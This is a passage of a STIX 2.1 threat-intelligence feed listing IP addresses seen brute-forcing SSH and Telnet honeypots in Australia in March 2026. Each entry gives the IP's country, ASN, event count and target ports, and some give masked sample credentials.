      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--889d01bc-c7a5-4179-be83-7022715816be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T12:15:03.000Z",
      "valid_until": "2026-05-01T12:15:00.000Z"
    },
    {
      "created": "2026-03-30T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 1080. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): 1*******9, a***n, t**t. Passwords observed (masked): 1****6, 1*******9, t**t.",
      "id": "indicator--53201141-1501-413e-8f49-f567cab19f3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T12:15:03.000Z",
      "valid_until": "2026-05-01T12:15:00.000Z"
    },
    {
      "created": "2026-03-30T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 1080. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): ***, a***n. Passwords observed (masked): ***, a***n.",
      "id": "indicator--84673100-fe63-4f33-90f5-d8fc49e6e87c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T12:15:03.000Z",
      "valid_until": "2026-05-01T12:15:00.000Z"
    },
    {
      "created": "2026-03-30T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 1080. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): 1****6, p***y, r**t, u**r. Passwords observed (masked): 1****6, p**s, p***y, r**t.",
      "id": "indicator--3c21a198-3c92-4bb8-98c8-c947fbffd2ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T12:15:03.000Z",
      "valid_until": "2026-05-01T12:15:00.000Z"
    },
    {
      "created": "2026-03-30T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 1080. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): *, ***. Passwords observed (masked): *, ***.",
      "id": "indicator--ede496af-59dd-4f20-9331-55355ff36af5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T12:15:03.000Z",
      "valid_until": "2026-05-01T12:15:00.000Z"
    },
    {
      "created": "2026-03-30T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG. Usernames observed (masked): r**t, 3**********4, r***1. Passwords observed (masked): 1*********m, 1*******w, 1*******7, 3***********4, 3**********4.",
      "id": "indicator--7054c9d5-66e2-40fd-a1e6-e1920b38dde3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.241.53.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T12:15:03.000Z",
      "valid_until": "2026-05-01T12:15:00.000Z"
    },
    {
      "created": "2026-03-30T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 212913. Organisation(s): Time-host Ltd.",
      "id": "indicator--4172d254-1bca-4032-8582-4a3a972d3e7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.148.99.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T12:15:03.000Z",
      "valid_until": "2026-05-01T12:15:00.000Z"
    },
    {
      "created": "2026-03-30T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--31403673-c724-45bb-950b-0008c92bfaed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.64.174.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T12:15:03.000Z",
      "valid_until": "2026-05-01T12:15:00.000Z"
    },
    {
      "created": "2026-03-30T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******_, A********!, A*******..",
      "id": "indicator--38b95e13-b115-4b2f-83ce-7ab27b533bbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '76.79.213.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T12:15:03.000Z",
      "valid_until": "2026-05-01T12:15:00.000Z"
    },
    {
      "created": "2026-03-30T12:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 13285. Organisation(s): TalkTalk.",
      "id": "indicator--bfcd7f46-856b-48a0-8d98-f8c902487f4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.41.144.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T12:15:03.000Z",
      "valid_until": "2026-05-01T12:15:00.000Z"
    },
    {
      "created": "2026-03-30T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135932. Organisation(s): Viet Storage Technology Joint Stock Company.",
      "id": "indicator--6e7b6924-1bd2-407b-bab6-e0fb4d2398dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.144.87.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T13:15:03.000Z",
      "valid_until": "2026-05-01T13:15:00.000Z"
    },
    {
      "created": "2026-03-30T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, s*****t, t**t, 1**4. Passwords observed (masked): 1**4, a***n, p******d, 1****6, 1******8.",
      "id": "indicator--027b82b9-cd8c-4ae5-a855-881541c4c2c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.3.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T13:15:03.000Z",
      "valid_until": "2026-05-01T13:15:00.000Z"
    },
    {
      "created": "2026-03-30T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 135887. Organisation(s): Belong Telstra Limited.",
      "id": "indicator--c0924373-d9d5-4c17-b3a5-7f71dcdddda1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.159.106.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T13:15:03.000Z",
      "valid_until": "2026-05-01T13:15:00.000Z"
    },
    {
      "created": "2026-03-30T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 142403. Organisation(s): YISU CLOUD LTD.",
      "id": "indicator--beb5b04a-56d4-45d9-b25f-b0cb7b1651fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.221.23.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T13:15:03.000Z",
      "valid_until": "2026-05-01T13:15:00.000Z"
    },
    {
      "created": "2026-03-30T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 173. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, ***, c****g, ***. Passwords observed (masked): 1***5, a******3, 0**************D, 3******t, a*****g.",
      "id": "indicator--b1c7f353-57ff-4821-b576-06907858ea6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.243.149.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T13:15:03.000Z",
      "valid_until": "2026-05-01T13:15:00.000Z"
    },
    {
      "created": "2026-03-30T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): r**t. Passwords observed (masked): r******3.",
      "id": "indicator--cbec986d-f8c1-46f0-b90e-5b1699ed74a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T13:15:03.000Z",
      "valid_until": "2026-05-01T13:15:00.000Z"
    },
    {
      "created": "2026-03-30T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0312e872-f1af-400b-bc15-222ce54e916d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.228.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T13:15:03.000Z",
      "valid_until": "2026-05-01T13:15:00.000Z"
    },
    {
      "created": "2026-03-30T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138115. Organisation(s): PT Deneva. Usernames observed (masked): r**t. Passwords observed (masked): o******0.",
      "id": "indicator--18350119-af29-455b-b6dc-e1ae81d1ae72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.155.157.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T13:15:03.000Z",
      "valid_until": "2026-05-01T13:15:00.000Z"
    },
    {
      "created": "2026-03-30T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--4a77925e-372b-420f-889e-999a12a5e080",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T13:15:03.000Z",
      "valid_until": "2026-05-01T13:15:00.000Z"
    },
    {
      "created": "2026-03-30T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f66e3b9b-6151-49ac-a278-2accd9e2af89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T13:15:03.000Z",
      "valid_until": "2026-05-01T13:15:00.000Z"
    },
    {
      "created": "2026-03-30T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, **, a****h, b****p. Passwords observed (masked): 1****6, 1****3, ***, 1***5, 1******8.",
      "id": "indicator--7bac6a3f-7636-4d78-ae88-951c051e5c42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.152.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T14:15:03.000Z",
      "valid_until": "2026-05-01T14:15:00.000Z"
    },
    {
      "created": "2026-03-30T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 102. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, *****, a***n, l****o, m*****r. Passwords observed (masked): *****, 1****1, 1****6, 1************), P******d.",
      "id": "indicator--5f564a9e-85b3-4bb5-928e-f3dbdefd5643",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.212.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T14:15:03.000Z",
      "valid_until": "2026-05-01T14:15:00.000Z"
    },
    {
      "created": "2026-03-30T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****1, 1**********E, 1******d, 3***********4, 3**********4.",
      "id": "indicator--2210939b-82e9-4ea5-b1e4-0f27ed8af4fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.31.186.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T14:15:03.000Z",
      "valid_until": "2026-05-01T14:15:00.000Z"
    },
    {
      "created": "2026-03-30T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited. Usernames observed (masked): r**t, a***n, O*****R, d*****t, A***********s. Passwords observed (masked): S********1, , /******a, 0******n, 1**4.",
      "id": "indicator--bbb9debb-6efa-4912-9c7d-589eee93e2d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.185.128.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T14:15:03.000Z",
      "valid_until": "2026-05-01T14:15:00.000Z"
    },
    {
      "created": "2026-03-30T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 204548. Organisation(s): Kamatera Inc. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****8, 3***********4, 3**********4, Q*******^, R*******!.",
      "id": "indicator--4a73afe0-84d1-419c-9ff0-511100ed3881",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.181.10.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T14:15:03.000Z",
      "valid_until": "2026-05-01T14:15:00.000Z"
    },
    {
      "created": "2026-03-30T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 269715. Organisation(s): INFINITYGO TELECOM LTDA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****4, 1***********0, 3***********4, 3**********4, 8****6.",
      "id": "indicator--b2414573-ccbf-4ac9-9fd5-168ec5bf9c00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.62.87.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T14:15:03.000Z",
      "valid_until": "2026-05-01T14:15:00.000Z"
    },
    {
      "created": "2026-03-30T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4fc2e161-ede7-413a-b39a-fe1d0cfe75f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.35.166.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T14:15:03.000Z",
      "valid_until": "2026-05-01T14:15:00.000Z"
    },
    {
      "created": "2026-03-30T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--cecc56c5-2e7e-447c-b2bc-1772e175d2b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.243.126.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T14:15:03.000Z",
      "valid_until": "2026-05-01T14:15:00.000Z"
    },
    {
      "created": "2026-03-30T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--53f955ae-3494-4b0f-ab50-0efd62902440",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T14:15:03.000Z",
      "valid_until": "2026-05-01T14:15:00.000Z"
    },
    {
      "created": "2026-03-30T15:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 150895. Organisation(s): EZ TECHNOLOGY COMPANY LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): a********1.",
      "id": "indicator--2a6608dc-b695-459e-a551-96fd487d9e86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T15:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.78.2.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T15:15:04.000Z",
      "valid_until": "2026-05-01T15:15:01.000Z"
    },
    {
      "created": "2026-03-30T15:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63023. Organisation(s): GTHost. Usernames observed (masked): r**t. Passwords observed (masked): m******3.",
      "id": "indicator--f7ee910d-39f5-43ac-8bbf-31d62498ffdd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T15:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.114.121.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T15:15:04.000Z",
      "valid_until": "2026-05-01T15:15:01.000Z"
    },
    {
      "created": "2026-03-30T15:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Heralding. Target ports: 5900. Source country: FR. ASN(s): 136787. Organisation(s): PacketHub S.A.. Passwords observed (masked): 0******0, 1****6, a***n, d*****t, p******d.",
      "id": "indicator--8eb9aa76-7ccc-4d96-b32d-d3d12046dbbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T15:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.137.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T15:15:04.000Z",
      "valid_until": "2026-05-01T15:15:01.000Z"
    },
    {
      "created": "2026-03-30T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--7def5365-76ce-42a4-a268-b55c6f461078",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T16:15:03.000Z",
      "valid_until": "2026-05-01T16:15:01.000Z"
    },
    {
      "created": "2026-03-30T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--1bd2704d-1901-452c-bcfc-73471fddb843",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.118.221.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T16:15:03.000Z",
      "valid_until": "2026-05-01T16:15:01.000Z"
    },
    {
      "created": "2026-03-30T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 20011. Organisation(s): NTT-DATA-Inc. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--3bbd5cb0-f52e-4f85-9cde-f49114ea37a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T16:15:03.000Z",
